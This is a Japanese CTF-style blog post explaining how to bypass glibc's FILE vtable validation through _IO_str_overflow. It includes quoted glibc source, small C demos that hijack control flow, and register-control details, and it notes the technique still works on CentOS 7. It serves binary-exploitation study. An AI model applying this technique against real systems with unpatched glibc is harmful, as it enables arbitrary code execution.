CTFするぞ

CTF以外のことも書くよ

_IO_str_overflowを使ったvtable改竄検知の回避手法

はじめに

論文みたいなタイトルになりましたが別に新しくも何ともありません。 趣味で勉強して面白かったので記事にしてみました。

さて、FILE構造体を利用したexploit手法としてFILE Structure Oriented Programmingがあります。 _IO_FILE_plus構造体のvtableは次のようなアドレス一覧になっており、例えばfclose関数が呼ばれると_IO_close_tのアドレスが呼び出されます。

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

fopenなどで返ってきたFILE構造体へのポインタを、用意した偽の領域することでvtableのアドレスを改竄し、fcloseなどが呼び出される際に任意のアドレスへジャンプすることができます。 しかし、近頃のglibcではこのvtableの改竄が検出されます。 この検知を回避する手法が参考文献[2]で紹介されていたので、備忘録も兼ねてまとめようと思います。

※この手法は最新のglibcでは動かないので注意してください

検知機構

vtableの改竄は、次のようにIO_validate_vtable関数でチェックされます。(ソースコード

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

この関数ではvtableのポインタが__libc_IO_vtablesセクション内のアドレスを指しているかを確認します。 アドレスが__libc_IO_vtablesセクションの範囲外であれば、次の_IO_vtable_check関数が呼ばれます。(ソースコード

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
       || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
#else /* !SHARED */
  if (__dlopen != NULL)
    return;
#endif
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

このチェックで最後の__libc_fatalへ辿り着いてしまうとエラーを吐いて終了します。 したがって、通常はヒープ領域やスタック領域など攻撃者が用意したアドレスにvtableを改竄すると弾かれてしまいます。 実際に次のプログラムを動かすと検知機構により死んでしまいます。

#include <stdio.h>

typedef struct {
  FILE file;
  void *vtable;
} _IO_FILE_plus;

void func()
{
  puts("Hello!");
}

void *fake_vtable[] = {
  NULL, NULL, NULL, NULL,
  NULL, NULL, NULL, NULL,
  NULL, NULL, NULL, NULL,
  NULL, NULL, NULL, NULL,
  NULL, func, NULL, NULL,
  NULL
};

int main()
{
  _IO_FILE_plus *fp;
  fp = (_IO_FILE_plus*)fopen("/dev/urandom", "r");

  // 改竄  
  fp->vtable = fake_vtable;

  fclose((FILE*)fp);
  return 0;
}
$ ./a.out 
Fatal error: glibc detected an invalid stdio handle
中止 (コアダンプ)

_IO_vtable_check関数を通過できれば良いので、例えば_dl_open_hookがNULLでなければ検知されません。

#include <stdio.h>
#include <dlfcn.h>

typedef struct {
  FILE file;
  void *vtable;
} _IO_FILE_plus;

void func()
{
  puts("Hello!");
}

void *fake_vtable[] = {
  NULL, NULL, NULL, NULL,
  NULL, NULL, NULL, NULL,
  NULL, NULL, NULL, NULL,
  NULL, NULL, NULL, NULL,
  NULL, func, NULL, NULL,
  NULL
};

int main()
{
  void *h, *_dl_open_hook;
  _IO_FILE_plus *fp;
  fp = (_IO_FILE_plus*)fopen("/dev/urandom", "r");

  // _dl_open_hookに書き込めると仮定
  h = dlopen("/lib64/libc.so.6", RTLD_LAZY);
  _dl_open_hook = dlsym(h, "_dl_open_hook");
  *(char*)_dl_open_hook = 'A';
  // 改竄  
  fp->vtable = fake_vtable;

  fclose((FILE*)fp);
  return 0;
}
$ ./a.out
Hello!
Segmentation fault (コアダンプ)

参考文献[2]ではRIPを奪うだけでなく、引数RDI, RSI, RDXも同時に攻撃者が用意した値に設定できる方法が紹介されています。(私の環境のglibcでは第1、第3引数しか設定できませんでした。)

攻撃手法

vtableのアドレスが__libc_IO_vtablesセクションの範囲に入っていれば良いので、_IO_str_jumpsを使います。 abortの際に_IO_flush_all_lockpが呼ばれるのですが、そこで_IO_str_overflowが呼ばれます。 _IO_str_jumpsには_IO_str_overflow関数(ソースコード)へのポインタが入っています。

int
_IO_str_overflow (fp, c)
     _IO_FILE *fp;
     int c;
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
      if (new_buf == NULL)
        {
          /*     __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
      INTUSE(_IO_setb) (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

ここで注目してほしいのが、次の箇所です。

new_buf
    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

fpは変更できるので、ここで呼び出されるアドレスも自由に変更できます。 また、new_sizeは次の計算で求められるので、これも(偶数であれば)自由に設定できます。

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;

fp->_IO_buf_base, fp->_IO_buf_endをそれぞれ0, (new_size - 100) / 2にすれば自由な引数を渡せますね。

さて、この箇所に到達するためには次の条件に当てはまる必要があります。

pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) {
    ...
}

flush_onlyは0なのでfp->_IO_write_baseを0に、fp->_IO_write_ptrを(new_size - 100) / 2にしてやれば条件を通過します。

第2引数や第3引数は設定できるでしょうか。 ここからglibcのバージョンとかによって変わると思いますし、私の環境では元の記事とは結果が違いました。 元の記事ではrdi, rdxも設定できるのですが、私の環境の場合は関数が始まってからrdiに変更はなかったのでchar cがそのまま第2引数となります。 rdxについては

   0x000000000007e723 <+83>:    mov    rcx,QWORD PTR [rdi+0x28]
   0x000000000007e727 <+87>:    mov    r14,QWORD PTR [rbx+0x38]
   0x000000000007e72b <+91>:    mov    rbp,QWORD PTR [rbx+0x40]
   0x000000000007e72f <+95>:    mov    rdx,rcx
   0x000000000007e732 <+98>:    sub    rdx,QWORD PTR [rbx+0x20]

となっているのでfp->_IO_write_ptr - fp->_IO_write_baseを第3引数として設定できます。

おわりに

2018年の段階で_allocate_bufferは使われなくなり、代わりにmallocが使われるように変更されました。 なので残念ながら今回紹介した回避手法はパッチにより最新のglibcでは動きません。 ですが私の環境(CentOS 7)ではまだ動きますし、しばらくは使えそうです。 いやー、pwnが年々難易度上がっててつらいなー。

参考文献

[1] https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique

[2] FILE Structure Exploitation ('vtable' check bypass) - Dhaval Kapil

[3] http://tacxingxing.com/2018/02/09/fsp/